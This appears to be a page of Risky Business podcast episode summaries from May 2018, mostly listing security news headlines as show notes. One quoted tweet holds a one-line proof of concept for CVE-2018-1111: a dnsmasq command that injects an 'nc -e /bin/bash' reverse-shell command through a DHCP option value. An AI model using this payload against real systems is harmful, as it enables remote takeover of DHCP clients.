This is something the IPS systems of old used to do but it’s an approach that fell out of favour. We’ll find out why that approach was discarded and why it’s coming back, as well as generally discuss the role of machine learning in security with a company that has invested in it heavily. This isn’t a “for or against” interview segment. This is a discussion with one company that is getting value out of the approach, so stick around for that.

The show notes/news items are below, and you can follow Adam or Patrick on Twitter if that’s your thing.

Show notes

Without Nuclear Deal, U.S. Expects Resurgence in Iranian Cyberattacks - The New York Times
How Two Persian Gulf Nations Turned The US Media Into Their Battleground
National Security Council delays publication of cyber strategy over inclusion of 'offensive' measures
Bolton eliminates White House Cybersecurity Coordinator position
Lawmakers introduce bill to save top White House cyber job after Bolton eliminated it
Ex-CIA employee identified as suspect in 'Vault 7' leaks
Sebastian Schinzel on Twitter: "We'll publish critical vulnerabilities in PGP/GPG and S/MIME email encryption on 2018-05-15 07:00 UTC. They might reveal the plaintext of encrypted emails, including encrypted emails sent in the past. #efail 1/4"
'Efail' exploit can decrypt old emails that were previously encrypted - CyberScoop
Critical PGP and S/MIME bugs can reveal encrypted emails—uninstall now [Updated] | Ars Technica
CVE-2018-1000136 - Electron nodeIntegration Bypass
Security flaw in Electron impacts hundreds of desktop apps
Michael Gianarakis on Twitter: "I don’t know man - as I said I wasn’t involved so I don’t know what was tested and when, what was covered during disclosure etc. All I was saying in my original tweet was that I didn’t read the post to say any specific app was vulnerable or not.… https://t.co/wVmG4FE0yI"
Alfredo Ortega on Twitter: "Remote zero-click JavaScript code execution on signal desktop message app. Thanks @HacKanCuBa and @julianor https://t.co/YgT8akGfBI"
Alfredo Ortega on Twitter: "And we'll release the Signal-Desktop Remote code exec advisory (CVE-2018-10994) in some hours. Not a good week for privacy software. https://t.co/ElysIPAlvo"
It only took five hours to close a critical vulnerability in Signal's desktop client
'Disappearing' Signal Messages Are Stored Indefinitely on Mac Hard Drives - Motherboard
China's ZTE says main operations have ceased after US ban
Lucas Tomlinson on Twitter: "JUST IN: Pentagon orders all stores on U.S. military bases worldwide to ban phones and telecom equipment from Chinese companies Huawei and ZTE, following warnings from top U.S. intelligence officials the Chinese companies could be spying on Americans"
Donald J. Trump on Twitter: "President Xi of China, and I, are working together to give massive Chinese phone company, ZTE, a way to get back into business, fast. Too many jobs in China lost. Commerce Department has been instructed to get it done!"
Microsoft Enabling Javascript in Excel Has Security Pros Anxious | WIRED
Researcher Runs Coinhive Cryptominer in Excel Just Days After Microsoft Announces JavaScript Custom Functions
Researchers Come Up With a Way to Launch Rowhammer Attacks via Network Packets
Georgia governor vetoes cyber bill that would criminalize “unauthorized access” | Ars Technica
Russian Troll Farm Hijacked American Teen Girls’ Computers for Likes
Dutch ditch Kaspersky on fears of Russian government influence
Possible Kaspersky sanctions meet resistance inside U.S. government
Wyden calls for FCC investigation into cell-phone tracking used by law enforcement
Kia‏☆ on Twitter: "this isnt a joke, try out https://t.co/QKa5nNOKjN, you can find the current location of a phone (not just with cell tower info, it can force AGPS) with just *its phone number*; the demo site requires you reply to an SMS but there's no technical requirement against that! https://t.co/kfMDU2qxjZ"
Government would be barred from mandating crypto backdoors under House bill
Symantec's stock plummets after announcement of internal audit
Lawmakers call for action following revelations that APT28 posed as ISIS online
Counterrorism Officials Concerned About Technological Advances of Jihadists in the US
Vigilante Hacks Government-Linked Cyberespionage Group - Motherboard
Pakistani military leverages Facebook Messenger for wide-ranging spyware campaign
DDoS Attacks Leverage UPnP Protocol to Avoid Mitigation
Shadowy Hackers Accidentally Reveal Two Zero-Days to Security Researchers
Windows 10 OpenSSH Client Installed by Default in April 2018 Update
Malicious Apps Get Back on the Play Store Just by Changing Their Name
Multiple OS Vendors Release Security Patches After Misinterpreting Intel Docs
Barkın Kılıç on Twitter: "#CVE-2018-1111 tweetable PoC :) dnsmasq --interface=eth0 --bind-interfaces --except-interface=lo --dhcp-range=,,1h --conf-file=/dev/null --dhcp-option=6, --dhcp-option=3, --dhcp-option="252,x'&nc -e /bin/bash 1337 #" cc: @cnbrkbolat… https://t.co/NMthW41Xql"
Morning mail: Ecuador's costly Assange spy operation | Australia news | The Guardian
Evil Mainframe Penetration Testing Classes
Evil Mainframe: Mainframe Penetration Testing Registration, Tue, Jun 12, 2018 at 9:00 AM | Eventbrite
May 16, 2018
Risky Business #498 -- There sure is a lot of Microsoft Defender out there these days

On this week’s show we’re taking a look at some recent data out of Microsoft trumpeting its Defender antivirus install figures on Windows. They’ve got 18% market share on windows 7/9 and 50% on Win10.

For the AV and endpoint security industry Microsoft has always been the existential threat, but has the plane flown into the mountain already? We’ll speak with Securosis analyst and DisruptOps founder Rich Mogull about that in this week’s feature interview.

In this week’s sponsor interview we’re joined by the always entertaining Haroon Meer of Thinkst Canary. When we spoke Haroon had just wrapped up his first ever booth at the RSA conference. He’ll join us this week to tell us, surprisingly, that it was a really worthwhile exercise for Thinkst, but as you’ll hear he also thinks the broader industry can be a pack of dumbasses when it comes to actually marketing tech at events like RSA. If he becomes global ruler RSA booths will be gimmick-free and just show people product demos.

The show notes/news items are below, and you can follow Adam or Patrick on Twitter if that’s your thing.

Show notes

BREAKING: Documents show how provincial employees misled Halifax police in the FOIPOP security failure
FTC urges Twitter users to change passwords | TheHill
Iran nuclear deal: Trump pulls US out in break with Europe allies - BBC News
Patrick Gray on Twitter: "There are teams workshopping ideas like this in Tehran right now, guaranteed. Personally I'm more worried about Iranian ICS hax. They've gotten good at that stuff.… https://t.co/XQBvRcUKw9"
Caroline O. on Twitter: "NEW: The Senate Intelligence Committee released its prelim findings into Russian targeting of election infrastructure during the 2016 election. "In a small # of states, Russian-affiliated cyber actors were in a position to, at a minimum, alter or delete voter registration data."… https://t.co/Y0GMwUZEFU"
Facebook security analyst is fired for using private data to stalk women | Ars Technica
Sources: Facebook Has Fired Multiple Employees for Snooping on Users - Motherboard
Drive-by Rowhammer attack uses GPU to compromise an Android phone | Ars Technica
Android App With 10 Million Downloads Left Users’ Photos and Audio Messages Exposed to Public - Motherboard
Hundreds of big-name sites hacked, converted into drive-by currency miners | Ars Technica
Report: Chinese government is behind a decade of hacks on software companies | Ars Technica
Over 10,000 companies downloading software vulnerable to Equifax hack
European Central Bank proposes framework to strengthen financial system’s defenses
Hysteria over Jade Helm exercise in Texas was fueled by Russians, former CIA director says | The Texas Tribune
Defector: WikiLeaks ‘Will Lie to Your Face’
SiliVaccine: Inside North Korea’s Anti-Virus - Check Point Research
You Can Finally Encrypt Slack Messages So Your Boss Can't Read Them - Motherboard
Microsoft May 2018 Patch Tuesday Fixes 67 Security Issues, Including IE Zero-Day
Vulnerabilities Affecting Over One Million Dasan GPON Routers Are Now Under Attack
He Fled a Prison in Iceland. Now It’s Good to Be Back. - The New York Times
Report: Software bug led to death in Uber’s self-driving crash | Ars Technica
Carbon Black stocks close 26 percent up on first day of public trading
Why Windows Defender Antivirus is the most deployed in the enterprise – Microsoft Secure
thinkst Thoughts...: Considering an RSAC Expo booth? Our Experience, in 5,000 words or less
May 09, 2018
Risky Biz Soap Box: Root9b on agentless threat hunting

In this edition of Soap Box we’re chatting with Root9b. They’ve just launched an updated version of their ORION platform. And I guess the way you’d describe Root9b is as a threat hunt product maker and managed threat hunt provider. And their approach is a bit different – their software is agentless. They basically authenticate to a machine, inject various payloads into memory, and use that to pull back all sorts of telemetry from machines.

They say this means it’s much less likely that attackers will see them and they offer this as a product, ORION, or they offer it as a service. They say their managed services customers come to them because pretty unhappy with their MDR and MSSP providers and want better signalling.

So I was joined by John Harbaugh, COO of Root9b, and Mike Morris, CTO. Both of these guys were US Air Force cyberdudes before jumping out to the private sector. The company actually started off doing training before developing their platform ORION.

John and Mike joined me by Skype for this podcast. Enjoy!

May 04, 2018
Risky Business #497 -- Silvio's greatest hits

This week’s Risky Business is kind of going back to its roots a bit. As much as we love talking about policy and the intersection of cyber security with global affairs, sometimes it pays to remember that computer security is actually about computers.

With that in mind this week we’ve got two fantastic interviews for you. We’ll be chatting with Dr. Silvio Cesare in this week’s feature interview. Silvio’s dusted off his bug hunting hat and he’s taken to Twitch-streaming his auditing sessions. Dave Aitel described watching Silvio’s Twitch stream as like seeing a Titan ransack a small Greek village. Five months, 100 bugs, 50 of them in kernel stuff.

He’s doing this for a couple of reasons – he wants to show people how it’s done, and he wants people to realise there are still lots of bugs out there to be found. We’ll chat to him about that in this week’s feature.

This week’s sponsor interview is with another old school hacker, Stephen Ridley. Stephen is the founder of Senrio, which is technically an IoT security play, but the thing is the tech he’s developed has turned out to be useful for all sorts of other stuff too.

Senrio is another one of those hacker-led startups in the spirit of Duo Security or Thinkst Canary. Stephen is a really well respected guy and this week he’s joining us to talk about a bunch of stuff. A lot of it is related to the unexpected uses for Senrio’s monitoring platform. He built a classifier for network-connected devices as a part of Senrio’s IoT security platform, and it turns out it’s actually running rings around a bunch of Enterprise Asset Management tools. People are actually using his IoT security monitoring solution to do asset management and figure out install gaps for their EDR solutions.

Totally not what he intended people to use it for, but hey, a win’s a win. So Stephen joins us this week to talk about that, also to talk about recent developments in the IoT space and really a bunch more stuff.

The show notes/links are below, and you can follow Adam or Patrick on Twitter if that’s your thing.

Show notes

Amazon Web Services starts blocking domain-fronting, following Google’s lead - The Verge
Iran blocks Telegram, pushes replacement with “Death to America” emoji | Ars Technica
Chinese Authorities Accidentally Admit to Accessing Deleted WeChat Messages
As two Koreas shake hands, Hidden Cobra hackers wage espionage campaign | Ars Technica
North Korea's Elites Are Ditching Facebook for Chinese Social Networks
After data “clash” report, WhatsApp founder says he’s leaving Facebook | Ars Technica
Can This System of Unlocking Phones Crack the Crypto War?
Ray Ozzie’s plan for unlocking encrypted phones gets a chilly reception | Ars Technica
Matthew Green on Twitter: "This article on WhatsApp suggests that WhatsApp might be weakening its encryption, but doesn’t give any details. That’s pretty worrying. https://t.co/2LfWeqMMPt https://t.co/3n8GDxVLcT"
Tens of Thousands of Malicious Apps Using Facebook APIs | Threatpost | The first stop for security news
Intel Committee blasts FBI for not notifying Russian hacking victims - Cyberscoop
Startup Offers $3 Million to Anyone Who Can Hack the iPhone - Motherboard
This Russian Company Sells Zero-Day Exploits for Hospital Software - Motherboard
Google and Microsoft ask Georgia governor to veto 'hack back' bill
Joy Reid Blames Hackers, Just Like Everyone Else | WIRED
Security Trade-Offs in the New EU Privacy Law — Krebs on Security
A One-Minute Attack Let Hackers Spoof Hotel Master Keys | WIRED
Volkswagen and Audi Cars Vulnerable to Remote Hacking
Charlie Miller on Twitter: "Cool new research out on car hacking: https://t.co/sZ2v0GpwWy. Hang on or mute as I'll give my thoughts on it."
Lojack Becomes a Double-Agent
Europol shuts down one of the largest DDoS marketplaces in the world - CyberScoop
Police Have Seized Revenge Porn Site Anon-IB - Motherboard
Chinese Police Arrest 15 People Who Hid Malware Inside PUBG Cheat Apps
GitHub Accidentally Recorded Some Plaintext Passwords in Its Internal Logs
Starting Today, Google Chrome Will Show Warnings for Non-Logged SSL Certificates
Long Prison Sentence for Man Who Hacked Jail Computer System to Bust Out Friend
State threat-sharing center warns of multiple PHP vulnerabilities - CyberScoop
Escalating Privileges with CylancePROTECT — Atredis Partners
Hackers Scan the Web for Vulnerable WebLogic Servers After Oracle Botches Patch
silviocesare - Twitch
May 02, 2018
Risky Business #496 -- The China supply chain problem

On this week’s show we hear from Jennifer Bisceglie, the CEO of Interos Solutions, a company that recently prepared a report on supply chain security for the US government’s US-China Economic and Security Review Commission. Risky Business contributor Brian Donohue caught up with Jennifer to talk about the report and really get an idea of what supply chain risks look like from a macro level. The long and the short of it is the supply chain is already very, very opaque, so governments and the private sector will have to work pretty hard to mitigate the risks involved here.

This week’s show is brought to you by Netsparker, the web application security scanning toolmaker. Netsparker was founded nine years ago by this week’s sponsor guest, Ferruh Mavituna. He was a pentester who created Netsparker to help him with his own work. But just recently they raised a bundle of cash: US$40m. We’ll catch up with him and find out if a webapp scanning company with $40m is like the mule with the spinning wheel. It certainly seems like Ferruh has some ambitious plans. We haven’t seen this sort of money being raised by comparable companies so it’s definitely interesting stuff.

In this week’s news we cover off:

  • Mysterious BGP route hijacking for lame Ether theft (??)
  • Google disabling domain fronting
  • Canadian teen charged with downloading documents from a website
  • City of Atlanta spending $2.6m to recover from its ransomware event
  • RSA’s conference app fail
  • White House chaos over Rob Joyce replacement (MAGA!!! MAGAAAAAA!!!!!)
  • Much more

The show notes/links are below, and you can follow Adam, Brian or Patrick on Twitter if that’s your thing.

Show notes

Suspicious event hijacks Amazon traffic for 2 hours, steals cryptocurrency | Ars Technica
Google disables domain-fronting, removing ability to bypass state-level firewalls - Neowin
Teen charged in Nova Scotia government breach says he had 'no malicious intent' | CBC News
Atlanta Spent $2.6M to Recover From a $52,000 Ransomware Scare | WIRED
Seamus Hughes on Twitter: "A beautiful circle: Company gets ransomwared. Hires IT company to fix it. Unlocks system in record time. FBI figures out the IT company just paid the bitcoin ransom.… https://t.co/7Vrd04GeSA"
Nation-state hackers attempted to use Equifax vulnerability against DoD, NSA official says
Richard Bejtlich on Twitter: "A million times, this. The "basic cyber hygiene" thesis drives me crazy. It's the epitome of static, time-ignorant thinking. "Hygiene" may work against mindless one-shot malware, or one-trick pony script kiddies. It has no place in serious conversations about targeted intrusions.… https://t.co/EtyiHKM0sF"
DNC Lawsuit Against Russia Reveals New Details About 2016 Hack | WIRED
(tech)Darko||Dan on Twitter: "Apparently @RSAConference isn't giving out maps to Expo attendees anymore - they require you to install their app which wants access to everything short of installing a rootkit on your phone. Are you kidding me @RSAsecurity?… https://t.co/QCQeAhzbv5"
RSA conference app leaks user data
SEC fines Yahoo remnant Altaba $35 million for failing to disclose breach
These Ex-Spies Are Harvesting Facebook Photos For A Massive Facial Recognition Database
The Cat-and-Mouse Game Between Apple and the Manufacturer of an iPhone Unlocking Tool - Motherboard
Someone Is Trying to Extort iPhone Crackers GrayShift With Leaked Code - Motherboard
The NSA now officially has a new chief
Trump sends cyberwar strategy to Congress
A cybersecurity power struggle is brewing at the National Security Council
Microsoft-led industry group pledges to not assist government cyberattacks - Cyberscoop
Kaspersky Lab banned from advertising on Twitter
U.S. government weighing sanctions against Kaspersky Lab
Sentencing delayed for FSB's email-popping hacker pawn
Introducing Microsoft Azure Sphere: Secure and power the intelligent edge | Blog | Microsoft Azure
“Drupalgeddon2” touches off arms race to mass-exploit powerful Web servers | Ars Technica
‘Orangeworm’ hacking campaign hits X-ray and MRI machines
Icelandic bitcoin heist suspect arrested in Amsterdam after leaving prison | Ars Technica
A bunch of Red Pills: VMware Escapes | Keen Security Lab Blog
Spoofing Cell Networks with a USB to VGA Adapter | Hackaday
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Avast reveals more information detailing how hackers compromised CCleaner | V3
New hacks siphon private cryptocurrency keys from airgapped wallets | Ars Technica
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